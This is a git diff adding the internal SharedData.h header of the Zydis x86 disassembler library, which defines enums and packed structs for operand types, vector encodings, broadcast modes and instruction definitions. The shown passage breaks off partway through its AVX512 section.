0000000..d8db4fb --- /dev/null +++ b/Theodosius/Zydis/Internal/SharedData.h @@ -0,0 +1,974 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +#ifndef ZYDIS_INTERNAL_SHAREDDATA_H +#define ZYDIS_INTERNAL_SHAREDDATA_H + +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +// MSVC does not like types other than (un-)signed int for bit-fields +#ifdef ZYAN_MSVC +# pragma warning(push) +# pragma warning(disable:4214) +#endif + +#pragma pack(push, 1) + +/* ---------------------------------------------------------------------------------------------- */ +/* Operand definition */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisSemanticOperandType` enum. + */ +typedef enum ZydisSemanticOperandType_ +{ + ZYDIS_SEMANTIC_OPTYPE_UNUSED, + ZYDIS_SEMANTIC_OPTYPE_IMPLICIT_REG, + ZYDIS_SEMANTIC_OPTYPE_IMPLICIT_MEM, + ZYDIS_SEMANTIC_OPTYPE_IMPLICIT_IMM1, + ZYDIS_SEMANTIC_OPTYPE_GPR8, + ZYDIS_SEMANTIC_OPTYPE_GPR16, + ZYDIS_SEMANTIC_OPTYPE_GPR32, + ZYDIS_SEMANTIC_OPTYPE_GPR64, + ZYDIS_SEMANTIC_OPTYPE_GPR16_32_64, + ZYDIS_SEMANTIC_OPTYPE_GPR32_32_64, + ZYDIS_SEMANTIC_OPTYPE_GPR16_32_32, + ZYDIS_SEMANTIC_OPTYPE_GPR_ASZ, + ZYDIS_SEMANTIC_OPTYPE_FPR, + ZYDIS_SEMANTIC_OPTYPE_MMX, + ZYDIS_SEMANTIC_OPTYPE_XMM, + ZYDIS_SEMANTIC_OPTYPE_YMM, + ZYDIS_SEMANTIC_OPTYPE_ZMM, + ZYDIS_SEMANTIC_OPTYPE_TMM, + ZYDIS_SEMANTIC_OPTYPE_BND, + ZYDIS_SEMANTIC_OPTYPE_SREG, + ZYDIS_SEMANTIC_OPTYPE_CR, + ZYDIS_SEMANTIC_OPTYPE_DR, + ZYDIS_SEMANTIC_OPTYPE_MASK, + ZYDIS_SEMANTIC_OPTYPE_MEM, + ZYDIS_SEMANTIC_OPTYPE_MEM_VSIBX, + ZYDIS_SEMANTIC_OPTYPE_MEM_VSIBY, + ZYDIS_SEMANTIC_OPTYPE_MEM_VSIBZ, + ZYDIS_SEMANTIC_OPTYPE_IMM, + ZYDIS_SEMANTIC_OPTYPE_REL, + ZYDIS_SEMANTIC_OPTYPE_PTR, + ZYDIS_SEMANTIC_OPTYPE_AGEN, + ZYDIS_SEMANTIC_OPTYPE_MOFFS, + ZYDIS_SEMANTIC_OPTYPE_MIB, + + /** + * Maximum value of this enum. + */ + ZYDIS_SEMANTIC_OPTYPE_MAX_VALUE = ZYDIS_SEMANTIC_OPTYPE_MIB, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_SEMANTIC_OPTYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_SEMANTIC_OPTYPE_MAX_VALUE) +} ZydisSemanticOperandType; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisInternalElementType` enum. + */ +typedef enum ZydisInternalElementType_ +{ + ZYDIS_IELEMENT_TYPE_INVALID, + ZYDIS_IELEMENT_TYPE_VARIABLE, + ZYDIS_IELEMENT_TYPE_STRUCT, + ZYDIS_IELEMENT_TYPE_INT, + ZYDIS_IELEMENT_TYPE_UINT, + ZYDIS_IELEMENT_TYPE_INT1, + ZYDIS_IELEMENT_TYPE_INT8, + ZYDIS_IELEMENT_TYPE_INT16, + ZYDIS_IELEMENT_TYPE_INT32, + ZYDIS_IELEMENT_TYPE_INT64, + ZYDIS_IELEMENT_TYPE_UINT8, + ZYDIS_IELEMENT_TYPE_UINT16, + ZYDIS_IELEMENT_TYPE_UINT32, + ZYDIS_IELEMENT_TYPE_UINT64, + ZYDIS_IELEMENT_TYPE_UINT128, + ZYDIS_IELEMENT_TYPE_UINT256, + ZYDIS_IELEMENT_TYPE_FLOAT16, + ZYDIS_IELEMENT_TYPE_FLOAT32, + ZYDIS_IELEMENT_TYPE_FLOAT64, + ZYDIS_IELEMENT_TYPE_FLOAT80, + ZYDIS_IELEMENT_TYPE_BCD80, + ZYDIS_IELEMENT_TYPE_CC3, + ZYDIS_IELEMENT_TYPE_CC5, + + /** + * Maximum value of this enum. + */ + ZYDIS_IELEMENT_TYPE_MAX_VALUE = ZYDIS_IELEMENT_TYPE_CC5, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_IELEMENT_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IELEMENT_TYPE_MAX_VALUE) +} ZydisInternalElementType; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisImplicitRegisterType` enum. + */ +typedef enum ZydisImplicitRegisterType_ +{ + ZYDIS_IMPLREG_TYPE_STATIC, + ZYDIS_IMPLREG_TYPE_GPR_OSZ, + ZYDIS_IMPLREG_TYPE_GPR_ASZ, + ZYDIS_IMPLREG_TYPE_GPR_SSZ, + ZYDIS_IMPLREG_TYPE_IP_ASZ, + ZYDIS_IMPLREG_TYPE_IP_SSZ, + ZYDIS_IMPLREG_TYPE_FLAGS_SSZ, + + /** + * Maximum value of this enum. + */ + ZYDIS_IMPLREG_TYPE_MAX_VALUE = ZYDIS_IMPLREG_TYPE_FLAGS_SSZ, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_IMPLREG_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IMPLREG_TYPE_MAX_VALUE) +} ZydisImplicitRegisterType; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisImplicitMemBase` enum. + */ +typedef enum ZydisImplicitMemBase_ +{ + ZYDIS_IMPLMEM_BASE_AGPR_REG, + ZYDIS_IMPLMEM_BASE_AGPR_RM, + ZYDIS_IMPLMEM_BASE_AAX, + ZYDIS_IMPLMEM_BASE_ADX, + ZYDIS_IMPLMEM_BASE_ABX, + ZYDIS_IMPLMEM_BASE_ASP, + ZYDIS_IMPLMEM_BASE_ABP, + ZYDIS_IMPLMEM_BASE_ASI, + ZYDIS_IMPLMEM_BASE_ADI, + + /** + * Maximum value of this enum. + */ + ZYDIS_IMPLMEM_BASE_MAX_VALUE = ZYDIS_IMPLMEM_BASE_ADI, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_IMPLMEM_BASE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IMPLMEM_BASE_MAX_VALUE) +} ZydisImplicitMemBase; + +/* ---------------------------------------------------------------------------------------------- */ + +// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct +// enum types +ZYAN_STATIC_ASSERT(ZYDIS_SEMANTIC_OPTYPE_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_OPERAND_VISIBILITY_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_OPERAND_ACTION_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_IELEMENT_TYPE_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_OPERAND_ENCODING_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_IMPLREG_TYPE_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_REGISTER_REQUIRED_BITS <= 16); +ZYAN_STATIC_ASSERT(ZYDIS_IMPLMEM_BASE_REQUIRED_BITS <= 8); + +/** + * Defines the `ZydisOperandDefinition` struct. + */ +typedef struct ZydisOperandDefinition_ +{ + ZyanU8 type ZYAN_BITFIELD(ZYDIS_SEMANTIC_OPTYPE_REQUIRED_BITS); + ZyanU8 visibility ZYAN_BITFIELD(ZYDIS_OPERAND_VISIBILITY_REQUIRED_BITS); + ZyanU8 actions ZYAN_BITFIELD(ZYDIS_OPERAND_ACTION_REQUIRED_BITS); + ZyanU16 size[3]; + ZyanU8 element_type ZYAN_BITFIELD(ZYDIS_IELEMENT_TYPE_REQUIRED_BITS); + union + { + ZyanU8 encoding ZYAN_BITFIELD(ZYDIS_OPERAND_ENCODING_REQUIRED_BITS); + struct + { + ZyanU8 type ZYAN_BITFIELD(ZYDIS_IMPLREG_TYPE_REQUIRED_BITS); + union + { + ZyanU16 reg ZYAN_BITFIELD(ZYDIS_REGISTER_REQUIRED_BITS); + ZyanU8 id ZYAN_BITFIELD(6); + } reg; + } reg; + struct + { + ZyanU8 seg ZYAN_BITFIELD(3); + ZyanU8 base ZYAN_BITFIELD(ZYDIS_IMPLMEM_BASE_REQUIRED_BITS); + } mem; + } op; +} ZydisOperandDefinition; + +/* ---------------------------------------------------------------------------------------------- */ +/* Instruction definition */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisReadWriteAction` enum. + */ +typedef enum ZydisReadWriteAction_ +{ + ZYDIS_RW_ACTION_NONE, + ZYDIS_RW_ACTION_READ, + ZYDIS_RW_ACTION_WRITE, + ZYDIS_RW_ACTION_READWRITE, + + /** + * Maximum value of this enum. + */ + ZYDIS_RW_ACTION_MAX_VALUE = ZYDIS_RW_ACTION_READWRITE, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_RW_ACTION_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_RW_ACTION_MAX_VALUE) +} ZydisReadWriteAction; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisRegisterConstraint` enum. + */ +typedef enum ZydisRegisterConstraint_ +{ + ZYDIS_REG_CONSTRAINTS_UNUSED, + ZYDIS_REG_CONSTRAINTS_NONE, + ZYDIS_REG_CONSTRAINTS_GPR, + ZYDIS_REG_CONSTRAINTS_SR_DEST, + ZYDIS_REG_CONSTRAINTS_SR, + ZYDIS_REG_CONSTRAINTS_CR, + ZYDIS_REG_CONSTRAINTS_DR, + ZYDIS_REG_CONSTRAINTS_MASK, + ZYDIS_REG_CONSTRAINTS_BND, + ZYDIS_REG_CONSTRAINTS_VSIB, + ZYDIS_REG_CONSTRAINTS_NO_REL, + + /** + * Maximum value of this enum. + */ + ZYDIS_REG_CONSTRAINTS_MAX_VALUE = ZYDIS_REG_CONSTRAINTS_NO_REL, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_REG_CONSTRAINTS_MAX_VALUE) +} ZydisRegisterConstraint; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisInternalVectorLength` enum. + */ +typedef enum ZydisInternalVectorLength_ +{ + ZYDIS_IVECTOR_LENGTH_DEFAULT, + ZYDIS_IVECTOR_LENGTH_FIXED_128, + ZYDIS_IVECTOR_LENGTH_FIXED_256, + ZYDIS_IVECTOR_LENGTH_FIXED_512, + + /** + * Maximum value of this enum. + */ + ZYDIS_IVECTOR_LENGTH_MAX_VALUE = ZYDIS_IVECTOR_LENGTH_FIXED_512, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_IVECTOR_LENGTH_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IVECTOR_LENGTH_MAX_VALUE) +} ZydisInternalVectorLength; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisInternalElementSize` enum. + */ +typedef enum ZydisInternalElementSize_ +{ + ZYDIS_IELEMENT_SIZE_INVALID, + ZYDIS_IELEMENT_SIZE_8, + ZYDIS_IELEMENT_SIZE_16, + ZYDIS_IELEMENT_SIZE_32, + ZYDIS_IELEMENT_SIZE_64, + ZYDIS_IELEMENT_SIZE_128, + + /** + * Maximum value of this enum. + */ + ZYDIS_IELEMENT_SIZE_MAX_VALUE = ZYDIS_IELEMENT_SIZE_128, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_IELEMENT_SIZE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IELEMENT_SIZE_MAX_VALUE) +} ZydisInternalElementSize; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisEVEXFunctionality` enum. + */ +typedef enum ZydisEVEXFunctionality_ +{ + ZYDIS_EVEX_FUNC_INVALID, + /** + * `EVEX.b` enables broadcast functionality. + */ + ZYDIS_EVEX_FUNC_BC, + /** + * `EVEX.b` enables embedded-rounding functionality. + */ + ZYDIS_EVEX_FUNC_RC, + /** + * `EVEX.b` enables sae functionality. + */ + ZYDIS_EVEX_FUNC_SAE, + + /** + * Maximum value of this enum. + */ + ZYDIS_EVEX_FUNC_MAX_VALUE = ZYDIS_EVEX_FUNC_SAE, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_EVEX_FUNC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_EVEX_FUNC_MAX_VALUE) +} ZydisEVEXFunctionality; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisEVEXTupleType` enum. + */ +typedef enum ZydisEVEXTupleType_ +{ + ZYDIS_TUPLETYPE_INVALID, + /** + * Full Vector + */ + ZYDIS_TUPLETYPE_FV, + /** + * Half Vector + */ + ZYDIS_TUPLETYPE_HV, + /** + * Full Vector Mem + */ + ZYDIS_TUPLETYPE_FVM, + /** + * Tuple1 Scalar + */ + ZYDIS_TUPLETYPE_T1S, + /** + * Tuple1 Fixed + */ + ZYDIS_TUPLETYPE_T1F, + /** + * Tuple1 4x32 + */ + ZYDIS_TUPLETYPE_T1_4X, + /** + * Gather / Scatter + */ + ZYDIS_TUPLETYPE_GSCAT, + /** + * Tuple2 + */ + ZYDIS_TUPLETYPE_T2, + /** + * Tuple4 + */ + ZYDIS_TUPLETYPE_T4, + /** + * Tuple8 + */ + ZYDIS_TUPLETYPE_T8, + /** + * Half Mem + */ + ZYDIS_TUPLETYPE_HVM, + /** + * QuarterMem + */ + ZYDIS_TUPLETYPE_QVM, + /** + * OctMem + */ + ZYDIS_TUPLETYPE_OVM, + /** + * Mem128 + */ + ZYDIS_TUPLETYPE_M128, + /** + * MOVDDUP + */ + ZYDIS_TUPLETYPE_DUP, + + /** + * Maximum value of this enum. + */ + ZYDIS_TUPLETYPE_MAX_VALUE = ZYDIS_TUPLETYPE_DUP, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_TUPLETYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_TUPLETYPE_MAX_VALUE) +} ZydisEVEXTupleType; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMVEXFunctionality` enum. + */ +typedef enum ZydisMVEXFunctionality_ +{ + /** + * The `MVEX.SSS` value is ignored. + */ + ZYDIS_MVEX_FUNC_IGNORED, + /** + * `MVEX.SSS` must be `000b`. + */ + ZYDIS_MVEX_FUNC_INVALID, + /** + * `MVEX.SSS` controls embedded-rounding functionality. + */ + ZYDIS_MVEX_FUNC_RC, + /** + * `MVEX.SSS` controls sae functionality. + */ + ZYDIS_MVEX_FUNC_SAE, + /** + * No special operation (32bit float elements). + */ + ZYDIS_MVEX_FUNC_F_32, + /** + * No special operation (32bit uint elements). + */ + ZYDIS_MVEX_FUNC_I_32, + /** + * No special operation (64bit float elements). + */ + ZYDIS_MVEX_FUNC_F_64, + /** + * No special operation (64bit uint elements). + */ + ZYDIS_MVEX_FUNC_I_64, + /** + * Sf32(reg) or Si32(reg). + */ + ZYDIS_MVEX_FUNC_SWIZZLE_32, + /** + * Sf64(reg) or Si64(reg). + */ + ZYDIS_MVEX_FUNC_SWIZZLE_64, + /** + * Sf32(mem). + */ + ZYDIS_MVEX_FUNC_SF_32, + /** + * Sf32(mem) broadcast only. + */ + ZYDIS_MVEX_FUNC_SF_32_BCST, + /** + * Sf32(mem) broadcast 4to16 only. + */ + ZYDIS_MVEX_FUNC_SF_32_BCST_4TO16, + /** + * Sf64(mem). + */ + ZYDIS_MVEX_FUNC_SF_64, + /** + * Si32(mem). + */ + ZYDIS_MVEX_FUNC_SI_32, + /** + * Si32(mem) broadcast only. + */ + ZYDIS_MVEX_FUNC_SI_32_BCST, + /** + * Si32(mem) broadcast 4to16 only. + */ + ZYDIS_MVEX_FUNC_SI_32_BCST_4TO16, + /** + * Si64(mem). + */ + ZYDIS_MVEX_FUNC_SI_64, + /** + * Uf32. + */ + ZYDIS_MVEX_FUNC_UF_32, + /** + * Uf64. + */ + ZYDIS_MVEX_FUNC_UF_64, + /** + * Ui32. + */ + ZYDIS_MVEX_FUNC_UI_32, + /** + * Ui64. + */ + ZYDIS_MVEX_FUNC_UI_64, + /** + * Df32. + */ + ZYDIS_MVEX_FUNC_DF_32, + /** + * Df64. + */ + ZYDIS_MVEX_FUNC_DF_64, + /** + * Di32. + */ + ZYDIS_MVEX_FUNC_DI_32, + /** + * Di64. + */ + ZYDIS_MVEX_FUNC_DI_64, + + /** + * Maximum value of this enum. + */ + ZYDIS_MVEX_FUNC_MAX_VALUE = ZYDIS_MVEX_FUNC_DI_64, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MVEX_FUNC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MVEX_FUNC_MAX_VALUE) +} ZydisMVEXFunctionality; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisVEXStaticBroadcast` enum. + */ +typedef enum ZydisVEXStaticBroadcast +{ + ZYDIS_VEX_STATIC_BROADCAST_NONE, + ZYDIS_VEX_STATIC_BROADCAST_1_TO_2, + ZYDIS_VEX_STATIC_BROADCAST_1_TO_4, + ZYDIS_VEX_STATIC_BROADCAST_1_TO_8, + ZYDIS_VEX_STATIC_BROADCAST_1_TO_16, + ZYDIS_VEX_STATIC_BROADCAST_1_TO_32, + ZYDIS_VEX_STATIC_BROADCAST_2_TO_4, + + /** + * Maximum value of this enum. + */ + ZYDIS_VEX_STATIC_BROADCAST_MAX_VALUE = ZYDIS_VEX_STATIC_BROADCAST_2_TO_4, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_VEX_STATIC_BROADCAST_REQUIRED_BITS = + ZYAN_BITS_TO_REPRESENT(ZYDIS_VEX_STATIC_BROADCAST_MAX_VALUE) +} ZydisVEXStaticBroadcast; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisEVEXStaticBroadcast` enum. + */ +typedef enum ZydisEVEXStaticBroadcast_ +{ + ZYDIS_EVEX_STATIC_BROADCAST_NONE, + ZYDIS_EVEX_STATIC_BROADCAST_1_TO_2, + ZYDIS_EVEX_STATIC_BROADCAST_1_TO_4, + ZYDIS_EVEX_STATIC_BROADCAST_1_TO_8, + ZYDIS_EVEX_STATIC_BROADCAST_1_TO_16, + ZYDIS_EVEX_STATIC_BROADCAST_1_TO_32, + ZYDIS_EVEX_STATIC_BROADCAST_1_TO_64, + ZYDIS_EVEX_STATIC_BROADCAST_2_TO_4, + ZYDIS_EVEX_STATIC_BROADCAST_2_TO_8, + ZYDIS_EVEX_STATIC_BROADCAST_2_TO_16, + ZYDIS_EVEX_STATIC_BROADCAST_4_TO_8, + ZYDIS_EVEX_STATIC_BROADCAST_4_TO_16, + ZYDIS_EVEX_STATIC_BROADCAST_8_TO_16, + + /** + * Maximum value of this enum. + */ + ZYDIS_EVEX_STATIC_BROADCAST_MAX_VALUE = ZYDIS_EVEX_STATIC_BROADCAST_8_TO_16, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_EVEX_STATIC_BROADCAST_REQUIRED_BITS = + ZYAN_BITS_TO_REPRESENT(ZYDIS_EVEX_STATIC_BROADCAST_MAX_VALUE) +} ZydisEVEXStaticBroadcast; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMVEXStaticBroadcast` enum. + */ +typedef enum ZydisMVEXStaticBroadcast_ +{ + ZYDIS_MVEX_STATIC_BROADCAST_NONE, + ZYDIS_MVEX_STATIC_BROADCAST_1_TO_8, + ZYDIS_MVEX_STATIC_BROADCAST_1_TO_16, + ZYDIS_MVEX_STATIC_BROADCAST_4_TO_8, + ZYDIS_MVEX_STATIC_BROADCAST_4_TO_16, + + /** + * Maximum value of this enum. + */ + ZYDIS_MVEX_STATIC_BROADCAST_MAX_VALUE = ZYDIS_MVEX_STATIC_BROADCAST_4_TO_16, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MVEX_STATIC_BROADCAST_REQUIRED_BITS = + ZYAN_BITS_TO_REPRESENT(ZYDIS_MVEX_STATIC_BROADCAST_MAX_VALUE) +} ZydisMVEXStaticBroadcast; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMaskPolicy` enum. + */ +typedef enum ZydisMaskPolicy_ +{ + ZYDIS_MASK_POLICY_INVALID, + /** + * The instruction accepts mask-registers other than the default-mask (K0), but + * does not require them. + */ + ZYDIS_MASK_POLICY_ALLOWED, + /** + * The instruction requires a mask-register other than the default-mask (K0). + */ + ZYDIS_MASK_POLICY_REQUIRED, + /** + * The instruction does not allow a mask-register other than the default-mask (K0). + */ + ZYDIS_MASK_POLICY_FORBIDDEN, + + /** + * Maximum value of this enum. + */ + ZYDIS_MASK_POLICY_MAX_VALUE = ZYDIS_MASK_POLICY_FORBIDDEN, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MASK_POLICY_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MASK_POLICY_MAX_VALUE) +} ZydisMaskPolicy; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMaskOverride` enum. + */ +typedef enum ZydisMaskOverride_ +{ + ZYDIS_MASK_OVERRIDE_DEFAULT, + ZYDIS_MASK_OVERRIDE_ZEROING, + ZYDIS_MASK_OVERRIDE_CONTROL, + + /** + * Maximum value of this enum. + */ + ZYDIS_MASK_OVERRIDE_MAX_VALUE = ZYDIS_MASK_OVERRIDE_CONTROL, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MASK_OVERRIDE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MASK_OVERRIDE_MAX_VALUE) +} ZydisMaskOverride; + +/* ---------------------------------------------------------------------------------------------- */ + +// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct +// enum types +ZYAN_STATIC_ASSERT(ZYDIS_MNEMONIC_REQUIRED_BITS <= 16); +ZYAN_STATIC_ASSERT(ZYDIS_CATEGORY_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_ISA_SET_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_ISA_EXT_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_BRANCH_TYPE_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_EXCEPTION_CLASS_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_RW_ACTION_REQUIRED_BITS <= 8); + +#ifndef ZYDIS_MINIMAL_MODE +# define ZYDIS_INSTRUCTION_DEFINITION_BASE \ + ZyanU16 mnemonic ZYAN_BITFIELD(ZYDIS_MNEMONIC_REQUIRED_BITS); \ + ZyanU8 operand_count ZYAN_BITFIELD( 4); \ + ZyanU16 operand_reference ZYAN_BITFIELD(15); \ + ZyanU8 operand_size_map ZYAN_BITFIELD( 3); \ + ZyanU8 address_size_map ZYAN_BITFIELD( 2); \ + ZyanU8 flags_reference ZYAN_BITFIELD( 7); \ + ZyanBool requires_protected_mode ZYAN_BITFIELD( 1); \ + ZyanU8 category ZYAN_BITFIELD(ZYDIS_CATEGORY_REQUIRED_BITS); \ + ZyanU8 isa_set ZYAN_BITFIELD(ZYDIS_ISA_SET_REQUIRED_BITS); \ + ZyanU8 isa_ext ZYAN_BITFIELD(ZYDIS_ISA_EXT_REQUIRED_BITS); \ + ZyanU8 branch_type ZYAN_BITFIELD(ZYDIS_BRANCH_TYPE_REQUIRED_BITS); \ + ZyanU8 exception_class ZYAN_BITFIELD(ZYDIS_EXCEPTION_CLASS_REQUIRED_BITS); \ + ZyanU8 constr_REG ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS); \ + ZyanU8 constr_RM ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS); \ + ZyanU8 cpu_state ZYAN_BITFIELD(ZYDIS_RW_ACTION_REQUIRED_BITS); \ + ZyanU8 fpu_state ZYAN_BITFIELD(ZYDIS_RW_ACTION_REQUIRED_BITS); \ + ZyanU8 xmm_state ZYAN_BITFIELD(ZYDIS_RW_ACTION_REQUIRED_BITS) +#else +# define ZYDIS_INSTRUCTION_DEFINITION_BASE \ + ZyanU16 mnemonic ZYAN_BITFIELD(ZYDIS_MNEMONIC_REQUIRED_BITS); \ + ZyanU8 operand_size_map ZYAN_BITFIELD( 3); \ + ZyanU8 address_size_map ZYAN_BITFIELD( 2); \ + ZyanBool requires_protected_mode ZYAN_BITFIELD( 1); \ + ZyanU8 constr_REG ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS); \ + ZyanU8 constr_RM ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS) +#endif + +#define ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR \ + ZYDIS_INSTRUCTION_DEFINITION_BASE; \ + ZyanU8 constr_NDSNDD ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS) + +#define ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL \ + ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR; \ + ZyanBool is_gather ZYAN_BITFIELD( 1) + +/** + * Defines the `ZydisInstructionDefinition` struct. + */ +typedef struct ZydisInstructionDefinition_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE; +} ZydisInstructionDefinition; + +/** + * Defines the `ZydisInstructionDefinitionLEGACY` struct. + */ +typedef struct ZydisInstructionDefinitionLEGACY_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE; +#ifndef ZYDIS_MINIMAL_MODE + ZyanBool is_privileged ZYAN_BITFIELD( 1); +#endif + ZyanBool accepts_LOCK ZYAN_BITFIELD( 1); +#ifndef ZYDIS_MINIMAL_MODE + ZyanBool accepts_REP ZYAN_BITFIELD( 1); + ZyanBool accepts_REPEREPZ ZYAN_BITFIELD( 1); + ZyanBool accepts_REPNEREPNZ ZYAN_BITFIELD( 1); + ZyanBool accepts_BOUND ZYAN_BITFIELD( 1); + ZyanBool accepts_XACQUIRE ZYAN_BITFIELD( 1); + ZyanBool accepts_XRELEASE ZYAN_BITFIELD( 1); + ZyanBool accepts_hle_without_lock ZYAN_BITFIELD( 1); + ZyanBool accepts_branch_hints ZYAN_BITFIELD( 1); + ZyanBool accepts_segment ZYAN_BITFIELD( 1); +#endif +} ZydisInstructionDefinitionLEGACY; + +/** + * Defines the `ZydisInstructionDefinition3DNOW` struct. + */ +typedef struct ZydisInstructionDefinition3DNOW_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE; +} ZydisInstructionDefinition3DNOW; + +/** + * Defines the `ZydisInstructionDefinitionXOP` struct. + */ +typedef struct ZydisInstructionDefinitionXOP_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR; +} ZydisInstructionDefinitionXOP; + +// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct +// enum types +ZYAN_STATIC_ASSERT(ZYDIS_VEX_STATIC_BROADCAST_REQUIRED_BITS <= 8); + +/** + * Defines the `ZydisInstructionDefinitionVEX` struct. + */ +typedef struct ZydisInstructionDefinitionVEX_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL; +#ifndef ZYDIS_MINIMAL_MODE + ZyanU8 broadcast ZYAN_BITFIELD(ZYDIS_VEX_STATIC_BROADCAST_REQUIRED_BITS); +#endif +} ZydisInstructionDefinitionVEX; + +#ifndef ZYDIS_DISABLE_AVX512 + +// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct +// enum types +ZYAN_STATIC_ASSERT(ZYDIS_IVECTOR_LENGTH_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_TUPLETYPE_REQUIRED_BITS <= 8); 